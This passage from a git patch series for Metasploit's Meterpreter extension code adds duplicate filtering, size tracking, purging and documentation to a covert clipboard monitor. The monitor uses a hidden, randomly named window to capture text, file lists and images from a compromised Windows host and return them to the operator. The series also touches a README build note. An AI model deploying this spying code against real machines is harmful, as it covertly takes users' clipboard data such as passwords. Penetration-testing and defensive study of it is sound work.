-#define MAX_CLIPBOARD_MONITOR_MEMORY (1024 * 1024 * 40)
-
 typedef enum _ClipboadrCaptureType
 {
 	CapText, CapFiles, CapImage
@@ -410,9 +407,92 @@ VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptu
 	lock_release(pCaptureList->pClipboardCaptureLock);
 }
 
+BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
+{
+	ClipboardFile* pTailFiles = NULL;
+	ClipboardFile* pNewFiles = NULL;
+	BOOL bResult = FALSE;
+
+	lock_acquire(pList->pClipboardCaptureLock);
+
+	do
+	{
+		if (pList->pTail == NULL)
+		{
+			break;
+		}
+
+		if (pList->pTail->captureType != pNewCapture->captureType)
+		{
+			break;
+		}
+
+		switch (pNewCapture->captureType)
+		{
+			case CapText:
+			{
+				if (lstrcmpA(pNewCapture->lpText, pList->pTail->lpText) == 0)
+				{
+					bResult = TRUE;
+				}
+				break;
+			}
+			case CapFiles:
+			{
+				pTailFiles = pList->pTail->lpFiles;
+				pNewFiles = pNewCapture->lpFiles;
+
+				while (pTailFiles != NULL && pNewFiles != NULL)
+				{
+					if (pTailFiles->qwSize != pNewFiles->qwSize
+						|| lstrcmpA(pTailFiles->lpPath, pNewFiles->lpPath) != 0)
+					{
+						break;
+					}
+					pTailFiles = pTailFiles->pNext;
+					pNewFiles = pNewFiles->pNext;
+				}
+
+				if (pTailFiles == NULL && pNewFiles == NULL)
+				{
+					// we got to the end without an early-out, and the lists are
+					// the same size, so, they're the same!
+					bResult = TRUE;
+				}
+
+				break;
+			}
+			case CapImage:
+			{
+				if (pNewCapture->dwSize == pList->pTail->dwSize
+					 && pNewCapture->lpImage->dwHeight == pList->pTail->lpImage->dwHeight
+					 && pNewCapture->lpImage->dwWidth == pList->pTail->lpImage->dwWidth)
+				{
+					// looking quite similar. if no content given we'll assume different because
+					// there's little to no damage in recording an extra copy and paste of an image
+					// without storing the data. So only when they're both non-null will we continue.
+					if (pNewCapture->lpImage->lpImageContent != NULL
+						&& pList->pTail->lpImage->lpImageContent != NULL)
+					{
+						if (memcmp(pNewCapture->lpImage->lpImageContent, pList->pTail->lpImage->lpImageContent, pNewCapture->lpImage->dwImageSize) == 0)
+						{
+							bResult = TRUE;
+						}
+					}
+				}
+				break;
+			}
+		}
+	} while (0);
+
+	lock_release(pList->pClipboardCaptureLock);
+
+	return bResult;
+}
+
 BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
 {
-	if (pNewCapture->dwSize + pList->dwClipboardDataSize > MAX_CLIPBOARD_MONITOR_MEMORY)
+	if (is_duplicate(pNewCapture, pList))
 	{
 		return FALSE;
 	}
@@ -483,6 +563,7 @@ DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
 					pCapture->lpText = (char*)malloc(dwCount);
 					memset(pCapture->lpText, 0, dwCount);
 					strncpy_s(pCapture->lpText, dwCount, lpClipString, dwCount - 1);
+					pCapture->dwSize = dwCount;
 
 					pGlobalUnlock(hClipboardData);
 				}
@@ -503,6 +584,9 @@ DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
 					pCapture->lpImage->dwWidth = htonl(lpBI->bmiHeader.biWidth);
 					pCapture->lpImage->dwHeight = htonl(lpBI->bmiHeader.biHeight);
 
+					// throw together a basic guess for this, it doesn't have to be exact.
+					pCapture->dwSize = lpBI->bmiHeader.biWidth * lpBI->bmiHeader.biHeight * 4;
+
 					// only download the image if they want it
 					dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight,
 						bCaptureImageData ? "WILL" : "will NOT");
@@ -517,6 +601,7 @@ DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
 							dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize);
 							pCapture->lpImage->lpImageContent = image.pImageBuffer;
 							pCapture->lpImage->dwImageSize = image.dwImageBufferSize;
+							pCapture->dwSize = image.dwImageBufferSize;
 
 							// Just leaving this in for debugging purposes later on
 							//hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
@@ -577,6 +662,7 @@ DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
 							pFile->lpPath = (char*)malloc(dwCount);
 							memset(pFile->lpPath, 0, dwCount);
 							strncpy_s(pFile->lpPath, dwCount, lpFileName, dwCount - 1);
+							pCapture->dwSize += dwCount;
 
 							memset(&largeInt, 0, sizeof(largeInt));
 
@@ -623,6 +709,7 @@ LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam
 	if (!pState)
 	{
 		pState = gClipboardState;
+		SetWindowLongPtrA(hWnd, GWLP_USERDATA, (LONG_PTR)pState);
 	}
 
 	switch (uMsg)
@@ -669,7 +756,7 @@ LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam
 				else
 				{
 					free(pNewCapture);
-					dprintf("[EXTAPI CLIPBOARD] Data size too big, ignoring data %x", hWnd);
+					dprintf("[EXTAPI CLIPBOARD] Ignoring duplicate capture", hWnd);
 				}
 			}
 			else
@@ -1060,7 +1147,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
 		strncpy_s(pState->cbWindowClass, sizeof(pState->cbWindowClass), lpClassName, sizeof(pState->cbWindowClass) - 1);
 		dprintf("[EXTAPI CLIPBOARD] Class Name set to %s", pState->cbWindowClass);
 
-		pState->bCaptureImageData = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA);
+		pState->bCaptureImageData = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
 
 		pState->hPauseEvent = event_create();
 		pState->hResumeEvent = event_create();
@@ -1196,7 +1283,7 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
 
 		dprintf("[EXTAPI CLIPBOARD] Stopping clipboard monitor");
 		bDump = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP);
-		bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA);
+		bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
 
 		// now stop the show
 		event_signal(gClipboardState->hThread->sigterm);
@@ -1241,11 +1328,50 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
 		{
 			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
 		}
-		bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA);
+		bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
 		bPurge = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE);
 
+		dprintf("[EXTAPI CLIPBOARD] Purging? %s", bPurge ? "TRUE" : "FALSE");
+
 		dump_clipboard_capture_list(pResponse, &gClipboardState->captureList, bIncludeImages, bPurge);
 
+		if (bPurge)
+		{
+			lock_acquire(gClipboardState->captureList.pClipboardCaptureLock);
+			destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE);
+			lock_release(gClipboardState->captureList.pClipboardCaptureLock);
+		}
+
+		dwResult = ERROR_SUCCESS;
+	} while (0);
+
+	packet_transmit_response(dwResult, remote, pResponse);
+
+	return dwResult;
+#else
+	return ERROR_NOT_SUPPORTED;
+#endif
+}
+
+DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet)
+{
+#ifdef _WIN32
+	DWORD dwResult = ERROR_SUCCESS;
+	BOOL bIncludeImages = TRUE;
+	BOOL bPurge = TRUE;
+	Packet *pResponse = packet_create_response(packet);
+
+	do
+	{
+		if (gClipboardState == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
+		}
+
+		lock_acquire(gClipboardState->captureList.pClipboardCaptureLock);
+		destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE);
+		lock_release(gClipboardState->captureList.pClipboardCaptureLock);
+
 		dwResult = ERROR_SUCCESS;
 	} while (0);
 
diff --git a/c/meterpreter/source/extensions/extapi/clipboard.h b/c/meterpreter/source/extensions/extapi/clipboard.h
index c3689bb2..fdea07a7 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.h
+++ b/c/meterpreter/source/extensions/extapi/clipboard.h
@@ -12,6 +12,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet);
 DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet);
 DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet);
 DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet);
+DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet);
 DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet);
 
 #endif
diff --git a/c/meterpreter/source/extensions/extapi/extapi.c b/c/meterpreter/source/extensions/extapi/extapi.c
index be5aa47e..e9e97a7a 100644
--- a/c/meterpreter/source/extensions/extapi/extapi.c
+++ b/c/meterpreter/source/extensions/extapi/extapi.c
@@ -29,6 +29,7 @@ Command customCommands[] =
 	COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
 	COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
 	COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
+	COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
 	COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
 	COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
 	COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
diff --git a/c/meterpreter/source/extensions/extapi/extapi.h b/c/meterpreter/source/extensions/extapi/extapi.h
index cab82672..b7174e83 100644
--- a/c/meterpreter/source/extensions/extapi/extapi.h
+++ b/c/meterpreter/source/extensions/extapi/extapi.h
@@ -46,7 +46,7 @@
 #define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY  MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 47)
 #define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA  MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW,       TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 48)
 
-#define TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 50)
+#define TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA     MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 50)
 #define TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS        MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING,    TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 51)
 #define TLV_TYPE_EXT_CLIPBOARD_MON_DUMP             MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 52)
 #define TLV_TYPE_EXT_CLIPBOARD_MON_PURGE            MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 53)

From 2c56a1bcb1aab199faaf78f23feba14ccdd552af Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 29 Jan 2014 15:51:57 +1000
Subject: [PATCH 14/20] Add documentation to the functionality

---
 .../source/extensions/extapi/clipboard.c      | 216 ++++++++++++++----
 1 file changed, 174 insertions(+), 42 deletions(-)

diff --git a/c/meterpreter/source/extensions/extapi/clipboard.c b/c/meterpreter/source/extensions/extapi/clipboard.c
index bbea3338..2091e5b7 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.c
+++ b/c/meterpreter/source/extensions/extapi/clipboard.c
@@ -7,78 +7,75 @@
 #include "clipboard.h"
 #include "clipboard_image.h"
 
+/*! @brief The different types of captures that the monitor supports. */
 typedef enum _ClipboadrCaptureType
 {
-	CapText, CapFiles, CapImage
+	CapText,                           ///! Capture is just plain text.
+	CapFiles,                          ///! Capture is a list of one or more files.
+	CapImage                           ///! Capture is an image.
 } ClipboardCaptureType;
 
+/*! @brief Container for image capture data. */
 typedef struct _ClipboardImage
 {
-	DWORD dwWidth;
-	DWORD dwHeight;
-	DWORD dwImageSize;
-	LPBYTE lpImageContent;
+	DWORD dwWidth;                     ///! Width of the image.
+	DWORD dwHeight;                    ///! Height of the image.
+	DWORD dwImageSize;                 ///! Size of the image, in bytes.
+	LPBYTE lpImageContent;             ///! Pointer to the image content.
 } ClipboardImage;
 
+/*! @brief Container for file capture data. */
 typedef struct _ClipboardFile
 {
-	LPSTR lpPath;
-	QWORD qwSize;
-	struct _ClipboardFile* pNext;
+	LPSTR lpPath;                      ///! Full path to the file.
+	QWORD qwSize;                      ///! Size of the file in bytes.
+	struct _ClipboardFile* pNext;      ///! Pointer to the next file in the copied batch.
 } ClipboardFile;
 
+/*! @brief Container for file capture data. */
 typedef struct _ClipboardCapture
 {
-	ClipboardCaptureType captureType;
+	ClipboardCaptureType captureType; ///! Indicates the type of capture for this entry.
 	union
 	{
-		LPSTR lpText;
-		ClipboardImage* lpImage;
-		ClipboardFile* lpFiles;
+		LPSTR lpText;                  ///! Set when the captureType is CapText.
+		ClipboardImage* lpImage;       ///! Set when the captureType is CapImage.
+		ClipboardFile* lpFiles;        ///! Set when the captureType is CapFile.
 	};
-	SYSTEMTIME stCaptureTime;
-	DWORD dwSize;
-	struct _ClipboardCapture* pNext;
+	SYSTEMTIME stCaptureTime;          ///! The time that the clipboard entry was captured.
+	DWORD dwSize;                      ///! Size of the clipboard entry.
+	struct _ClipboardCapture* pNext;   ///! Pointer to the next captured clipboard entry.
 } ClipboardCapture;
 
+/*! @brief Container for the list of clipboard capture entries. */
 typedef struct _ClipboardCaptureList
 {
-	ClipboardCapture* pHead;
-	ClipboardCapture* pTail;
-	/*! @brief Lock to handle concurrent access to the clipboard capture list. */
-	LOCK* pClipboardCaptureLock;
-	/*! @brief Indication of how much data we have in memory. */
-	DWORD dwClipboardDataSize;
+	ClipboardCapture* pHead;           ///! Pointer to the head of the capture list.
+	ClipboardCapture* pTail;           ///! Pointer to the tail of the capture list.
+	LOCK* pClipboardCaptureLock;       ///! Lock to handle concurrent access to the clipboard capture list.
+	DWORD dwClipboardDataSize;         ///! Indication of how much data we have in memory.
 } ClipboardCaptureList;
 
+/*! @brief Container for clipboard monitor state. */
 typedef struct _ClipboardState
 {
 #ifdef _WIN32
-	/*! @brief Name to use for the window class when registering the message-only window. */
-	char cbWindowClass[256];
-	/*! @brief Handle to the clipboard monitor window. */
-	HWND hClipboardWindow;
-	/*! @brief Handle to the next window in the clipboard chain. */
-	HWND hNextViewer;
-	/*! @brief List of clipboard captures. */
-	ClipboardCaptureList captureList;
+	char cbWindowClass[256];           ///! Name to use for the window class when registering the message-only window (usually random).
+	HWND hClipboardWindow;             ///! Handle to the clipboard monitor window.
+	HWND hNextViewer;                  ///! Handle to the next window in the clipboard chain.
+	ClipboardCaptureList captureList;  ///! List of clipboard captures.
 #endif
-	/*! @brief Indicates if the thread is running or not. */
-	BOOL bRunning;
-	/*! @brief Handle to the event that signals when the thread has actioned the caller's request. */
-	EVENT* hResponseEvent;
-	/*! @brief Signalled when the caller wants the thread to pause. */
-	EVENT* hPauseEvent;
-	/*! @brief Signalled when the caller wants the thread to resume. */
-	EVENT* hResumeEvent;
-	/*! @brief Capture image data that's found on the clipboard. */
-	BOOL bCaptureImageData;
-	/*! @brief Reference to the clipboard monitor thread. */
-	THREAD* hThread;
+	BOOL bRunning;                     ///! Indicates if the thread is running or not.
+	EVENT* hResponseEvent;             ///! Handle to the event that signals when the thread has actioned the caller's request.
+	EVENT* hPauseEvent;                ///! Signalled when the caller wants the thread to pause.
+	EVENT* hResumeEvent;               ///! Signalled when the caller wants the thread to resume.
+	BOOL bCaptureImageData;            ///! Capture image data that's found on the clipboard.
+	THREAD* hThread;                   ///! Reference to the clipboard monitor thread.
 } ClipboardState;
 
 /*! @brief Pointer to the state for the monitor thread. */
 static ClipboardState* gClipboardState = NULL;
+/*! @brief Flag indicating initialision status of the clipboard state. */
 static BOOL gClipboardInitialised = FALSE;
 
 #ifdef _WIN32
@@ -141,6 +138,11 @@ static PGLOBALUNLOCK pGlobalUnlock = NULL;
 static POPENCLIPBOARD pOpenClipboard = NULL;
 static PSETCLIPBOARDDATA pSetClipboardData = NULL;
 
+/*!
+ * @brief Initialises the clipboard functionality for use.
+ * @remark This function has the job of finding all the clipboard related function pointers.
+ * @returns An indication of success or failure.
+ */
 DWORD initialise_clipboard()
 {
 #ifdef _WIN32
@@ -262,6 +264,13 @@ DWORD initialise_clipboard()
 #endif
 }
 
+/*!
+ * @brief Clean up the list of captures in the given list of captures.
+ * @param pCaptureList Pointer to the list of captures to clean up.
+ * @param bRemoveLock If \c TRUE, remove the list capture lock.
+ * @remark This iterates through the list and correctly frees up all the
+ *         resources used by the list.
+ */
 VOID destroy_clipboard_monitor_capture(ClipboardCaptureList* pCaptureList, BOOL bRemoveLock)
 {
 	ClipboardFile* pFile, *pNextFile;
@@ -307,6 +316,11 @@ VOID destroy_clipboard_monitor_capture(ClipboardCaptureList* pCaptureList, BOOL
 	pCaptureList->dwClipboardDataSize = 0;
 }
 
+/*!
+ * @brief Convert a timestamp value to a string in the form YYYY-MM-DD HH:mm:ss.ffff
+ * @param pTime Pointer to the \c SYSTEMTIME structure to convert.
+ * @param buffer Pointer to the buffer that will receive the time value.
+ */
 VOID timestamp_to_string(SYSTEMTIME* pTime, char buffer[40])
 {
 	dprintf("[EXTAPI CLIPBOARD] parsing timestamp %p", pTime);
@@ -316,6 +330,12 @@ VOID timestamp_to_string(SYSTEMTIME* pTime, char buffer[40])
 	dprintf("[EXTAPI CLIPBOARD] timestamp parsed");
 }
 
+/*!
+ * @brief Dump all the captured clipboard data to the given packet.
+ * @param pResponse pointer to the response \c Packet that the data needs to be written to.
+ * @param pCapture Pointer to the clipboard capture item to dump.
+ * @param bCaptureImageData Indication of whether to include image data in the capture.
+ */
 VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL bCaptureImageData)
 {
 	ClipboardFile* pFile;
@@ -388,6 +408,14 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL
 	}
 }
 
+/*!
+ * @brief Dump the given clipboard capture list to the specified response.
+ * @param pResponse Pointer to the response \c Packet to write the data to.
+ * @param pCaptureList Pointer to the list of captures to iterate over and write to the packet.
+ * @param bCaptureImageData Indication of whether to include image data in the dump.
+ * @param bPurge Indication of whether to purge the contents of the list once dumped.
+ * @remark if \c bPurge is \c TRUE the list of capture data is cleared and freed after dumping.
+ */
 VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptureList, BOOL bCaptureImageData, BOOL bPurge)
 {
 	ClipboardCapture* pCapture = NULL;
@@ -407,6 +435,17 @@ VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptu
 	lock_release(pCaptureList->pClipboardCaptureLock);
 }
 
+/*!
+ * @brief Determine if a capture is a duplicate based on the previously captured element.
+ * @param pNewCapture Pointer to the new capture value.
+ * @param pList Pointer to the capture list of existing captures.
+ * @retval TRUE if the contents of \c pNewCapture are the same as the last element in \c pList.
+ * @retval FALSE if the contents of \c pNewCapture are not the same as the last element in \c pList.
+ * @remark This is quite "dumb" and will only check agains the previous value in the list. The goal
+ *         is to reduce fat-fingering copies and reduce the size of the data coming back. If people
+ *         copy the same data multiple times at different times then we want to capture that in the
+ *         timeline. Comparison is just a byte-for-byte compare.
+ */
 BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
 {
 	ClipboardFile* pTailFiles = NULL;
@@ -490,6 +529,13 @@ BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
 	return bResult;
 }
 
+/*!
+ * @brief Add a new capture to the list of clipboard captures.
+ * @param pNewCapture The newly captured clipboard data to add.
+ * @param pList Pointer to the list of captures to add the item to.
+ * @returns Indcation of whether the value was added.
+ * @retval FALSE Indicates that the value was a duplicate, and not added again.
+ */
 BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
 {
 	if (is_duplicate(pNewCapture, pList))
@@ -514,6 +560,14 @@ BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList*
 	return TRUE;
 }
 
+/*!
+ * @brief Capture data that is currently on the clipboard.
+ * @param bCaptureImageData Indication of whether to include image data in the capture.
+ * @param ppCapture Pointer that will receive a pointer to the newly captured data.
+ * @returns Indication of success or failure.
+ * @remark If \c ppCapture contains a value when the function returns, the caller needs
+ *         to call \c free() on that value later when it finished.
+ */
 DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
 {
 	DWORD dwResult;
@@ -700,6 +754,15 @@ DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
 	return dwResult;
 }
 
+/*!
+ * @brief Message proc function for the hidden clipboard monitor window.
+ * @param hWnd Handle to the window receiving the message.
+ * @param uMsg Message that is being received.
+ * @param lParam First parameter associated with the message.
+ * @param wParam Second parameter associated with the message.
+ * @returns Message-specific result.
+ * @remark This window proc captures the clipboard change events.
+ */
 LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam, WPARAM wParam)
 {
 	DWORD dwResult;
@@ -788,6 +851,12 @@ LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam
 	return (LRESULT)NULL;
 }
 
+/*!
+ * @brief Create a hidden window that will capture clipboard change events.
+ * @param pState Pointer to the state entity for the current clipboard thread.
+ * @returns Indication of success or failure.
+ * @remark This function also registers a random window class.
+ */
 DWORD create_clipboard_monitor_window(ClipboardState* pState)
 {
 	DWORD dwResult;
@@ -831,6 +900,13 @@ DWORD create_clipboard_monitor_window(ClipboardState* pState)
 	return dwResult;
 }
 
+/*!
+ * @brief Destroy the hidden clipboard monitor window.
+ * @param pState Pointer to the state entity for the current clipboard thread which
+ *               contains the window handle.
+ * @returns Indication of success or failure.
+ * @remark This function also unregisters the random window class.
+ */
 DWORD destroy_clipboard_monitor_window(ClipboardState* pState)
 {
 	DWORD dwResult;
@@ -853,8 +929,8 @@ DWORD destroy_clipboard_monitor_window(ClipboardState* pState)
 
 	return dwResult;
 }
-
 #endif
+
 /*!
  * @brief Handle the request to get the data from the clipboard.
  * @details This function currently only supports the following clipboard data formats:
@@ -1002,6 +1078,12 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 #endif
 }
 
+/*!
+ * @brief Function which executes the clipboard monitoring.
+ * @param thread Pointer to the thread context.
+ * @remark This function also handles cross-thread synchronisation with
+ *         callers that want to interact with the clipboard data.
+ */
 DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
 {
 #ifdef _WIN32
@@ -1080,6 +1162,10 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
 #endif
 }
 
+/*!
+ * @brief Clean up all the state associated with a monitor thread.
+ * @param pState Pointer to the state clean up.
+ */
 VOID destroy_clipboard_monitor_state(ClipboardState* pState)
 {
 	dprintf("[EXTAPI CLIPBOARD] Destroying clipboard monitor state");
@@ -1107,6 +1193,12 @@ VOID destroy_clipboard_monitor_state(ClipboardState* pState)
 	}
 }
 
+/*!
+ * @brief Handle the request to start the clipboard monitor.
+ * @param remote Pointer to the \c Remote instance.
+ * @param packet Pointer to the \c Packet containing the request.
+ * @returns Indication of success or failure.
+ */
 DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
 {
 #ifdef _WIN32
@@ -1194,6 +1286,11 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
 #endif
 }
 
+/*!
+ * @brief Pause the monitor thread, if it's running.
+ * @param pState Pointer to the clipboard monitor thread state.
+ * @returns Always returns \c ERROR_SUCCESS.
+ */
 DWORD clipboard_monitor_pause(ClipboardState* pState)
 {
 	if (pState->bRunning)
@@ -1205,6 +1302,11 @@ DWORD clipboard_monitor_pause(ClipboardState* pState)
 	return ERROR_SUCCESS;
 }
 
+/*!
+ * @brief Resume the monitor thread.
+ * @param pState Pointer to the clipboard monitor thread state.
+ * @returns Always returns \c ERROR_SUCCESS.
+ */
 DWORD clipboard_monitor_resume(ClipboardState* pState)
 {
 	if (!pState->bRunning)
@@ -1216,6 +1318,12 @@ DWORD clipboard_monitor_resume(ClipboardState* pState)
 	return ERROR_SUCCESS;
 }
 
+/*!
+ * @brief Handle the request to pause the clipboard monitor.
+ * @param remote Pointer to the \c Remote instance.
+ * @param packet Pointer to the \c Packet containing the request.
+ * @returns Indication of success or failure.
+ */
 DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet)
 {
 #ifdef _WIN32
@@ -1241,6 +1349,12 @@ DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet)
 #endif
 }
 
+/*!
+ * @brief Handle the request to resume the clipboard monitor.
+ * @param remote Pointer to the \c Remote instance.
+ * @param packet Pointer to the \c Packet containing the request.
+ * @returns Indication of success or failure.
+ */
 DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet)
 {
 #ifdef _WIN32
@@ -1266,6 +1380,12 @@ DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet)
 #endif
 }
 
+/*!
+ * @brief Handle the request to stop the clipboard monitor.
+ * @param remote Pointer to the \c Remote instance.
+ * @param packet Pointer to the \c Packet containing the request.
+ * @returns Indication of success or failure.
+ */
 DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
 {
 #ifdef _WIN32
@@ -1314,6 +1434,12 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
 #endif
 }
 
+/*!
+ * @brief Handle the request to dump the contents of the clipboard monitor.
+ * @param remote Pointer to the \c Remote instance.
+ * @param packet Pointer to the \c Packet containing the request.
+ * @returns Indication of success or failure.
+ */
 DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
 {
 #ifdef _WIN32
@@ -1353,6 +1479,12 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
 #endif
 }
 
+/*!
+ * @brief Handle the request to purge the contents of the clipboard monitor.
+ * @param remote Pointer to the \c Remote instance.
+ * @param packet Pointer to the \c Packet containing the request.
+ * @returns Indication of success or failure.
+ */
 DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet)
 {
 #ifdef _WIN32

From 3b5dd66b81cedd87a1a121f394f26b8999203c83 Mon Sep 17 00:00:00 2001
From: Tod Beardsley <tod_beardsley@rapid7.com>
Date: Mon, 3 Feb 2014 10:22:31 -0600
Subject: [PATCH 15/20] Emphasise the correct version of VS2013.

cc @wchen-r7
---
 c/meterpreter/README.md | 17 ++++++++++-------
 1 file changed, 10 insertions(+), 7 deletions(-)

diff --git a/c/meterpreter/README.md b/c/meterpreter/README.md
index d413f7aa..7387c170 100644
--- a/c/meterpreter/README.md
+++ b/c/meterpreter/README.md
@@ -9,13 +9,16 @@ This is the new repository for the Meterpreter [source], which was originally in
 Building - Windows
 ==================
 
-As of commit a2888b1b4862819c9aae81bf46d8c92d8164c598, Meterpreter is built
-with [Visual Studio 2013 Express for Desktop][vs_express] or any paid version
-of [Visual Studio 2013][vs_paid]. Earlier toolsets on Windows are no longer
-supported -- this includes Visual Studio 2012. Make sure that the version that
-you download is `Visual Studio Express 2013 for Windows Desktop`. If you are
-using a dedicated build machine, your best bet is to uninstall Visual Studio
-2012 if your only project is Meterpreter.
+As of commit a2888b1b4862819c9aae81bf46d8c92d8164c598, Meterpreter is
+built with [Visual Studio 2013 Express for Desktop][vs_express] or any
+paid version of [Visual Studio 2013][vs_paid]. Earlier toolsets on
+Windows are no longer supported -- this includes Visual Studio 2012.
+Make sure that the version that you download is `Visual Studio Express
+2013 for Windows Desktop` -- dependng on your operating system, if you
+get the wrong version of VS2013, the installer will complain about
+needing "a more recent version of Windows." If you are using a dedicated
+build machine, your best bet is to uninstall Visual Studio 2012 if your
+only project is Meterpreter.
 
 Visual Studio 2013 requires .NET 4.5.1 in order to run, and as a result isn't compatible
 with Windows XP due to the fact that .NET 4.5 will not run on Windows XP. However, this

From 2cebe3c19e87ca225cbeeb2b7fe872b73d1573d5 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 5 Feb 2014 07:54:08 +1000
Subject: [PATCH 16/20] INCLUDE the resume event in the monitored array

I am clearly stupid. How did this ever work? This change tells the
wait call to include the signal handle for the resume event.
---
 c/meterpreter/source/extensions/extapi/clipboard.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

